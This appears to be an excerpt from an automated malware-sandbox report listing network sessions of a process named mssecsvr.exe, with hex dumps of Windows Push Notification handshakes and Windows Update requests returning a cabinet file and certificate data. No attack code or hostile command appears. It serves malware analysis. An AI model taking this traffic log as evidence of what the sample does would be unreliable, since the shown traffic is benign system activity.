2022-07-20 07:09:22 UTC	8304	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:09:22 UTC	8304	IN	Data Raw: 4d 53 2d 43 56 3a 20 61 55 43 33 70 68 39 4b 6f 30 69 2f 38 56 79 73 65 75 41 6c 41 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: aUC3ph9Ko0i/8VyseuAlAg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.6	53309	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:09:28 UTC	8304	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 38 31 37 38 34 39 34 61 64 32 62 63 61 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: a28178494ad2bcae
2022-07-20 07:09:28 UTC	8304	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:09:28 UTC	8305	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 38 31 37 38 34 39 34 61 64 32 62 63 61 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: a28178494ad2bcae<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:09:28 UTC	8306	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 38 31 37 38 34 39 34 61 64 32 62 63 61 65 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: a28178494ad2bcae
2022-07-20 07:09:28 UTC	8306	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:09:28 UTC	8306	IN	Data Raw: 4d 53 2d 43 56 3a 20 72 2b 30 68 64 39 64 53 66 55 4f 59 33 58 5a 61 6d 61 45 32 46 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: r+0hd9dSfUOY3XZamaE2FA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.6	54448	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:09:50 UTC	8306	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 30 37 64 30 39 34 65 37 38 31 37 37 33 36 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 907d094e78177363
2022-07-20 07:09:50 UTC	8306	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:09:50 UTC	8306	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 30 37 64 30 39 34 65 37 38 31 37 37 33 36 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 907d094e78177363<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:09:50 UTC	8307	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 30 37 64 30 39 34 65 37 38 31 37 37 33 36 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 907d094e78177363<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 07:09:50 UTC	8307	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:09:50 UTC	8307	IN	Data Raw: 4d 53 2d 43 56 3a 20 47 61 2b 76 62 2b 43 44 35 6b 69 69 2b 62 4d 63 65 63 6d 47 77 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Ga+vb+CD5kii+bMcecmGwg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.6	54590	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:09:52 UTC	8307	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:09:53 UTC	8307	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: f282e918-e1f2-47fb-b1aa-99c10b108787 MS-RequestId: ac6e083e-8c31-401e-bfc1-07cadc95bbdb MS-CV: a75WM+WIN0G23Ow1.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:09:52 GMT Connection: close Content-Length: 35877
2022-07-20 07:09:53 UTC	8308	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:09:53 UTC	8323	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:09:53 UTC	8339	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.6	54736	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:09:55 UTC	8343	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:09:55 UTC	8343	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 7d1d998d-6760-4882-8e3a-2918cab27a5b MS-RequestId: 104832cd-8489-40f4-a6f0-fb2940dfcdd6 MS-CV: +DbnArvFMEuO9H7J.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:09:54 GMT Connection: close Content-Length: 35877
2022-07-20 07:09:55 UTC	8344	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:09:55 UTC	8359	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:09:55 UTC	8375	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.6	54810	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:09:56 UTC	8379	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:09:56 UTC	8379	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 414e7a0a-f505-41f2-bd79-3e86b6c958b8 MS-RequestId: a191b324-b493-4aa0-979e-aefbb48d096f MS-CV: CFWwq4IrokGgbcs/.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:09:56 GMT Connection: close Content-Length: 35877
2022-07-20 07:09:56 UTC	8380	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:09:56 UTC	8395	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:09:56 UTC	8411	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.6	54885	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:09:57 UTC	8415	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:09:57 UTC	8415	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: c651ad95-cce6-4635-b2ed-1bd78d843587 MS-RequestId: 0fa16cfa-dffa-4dae-acd6-9b9f41c263c9 MS-CV: e/A++uqUK0e8070F.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:09:57 GMT Connection: close Content-Length: 35877
2022-07-20 07:09:57 UTC	8416	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
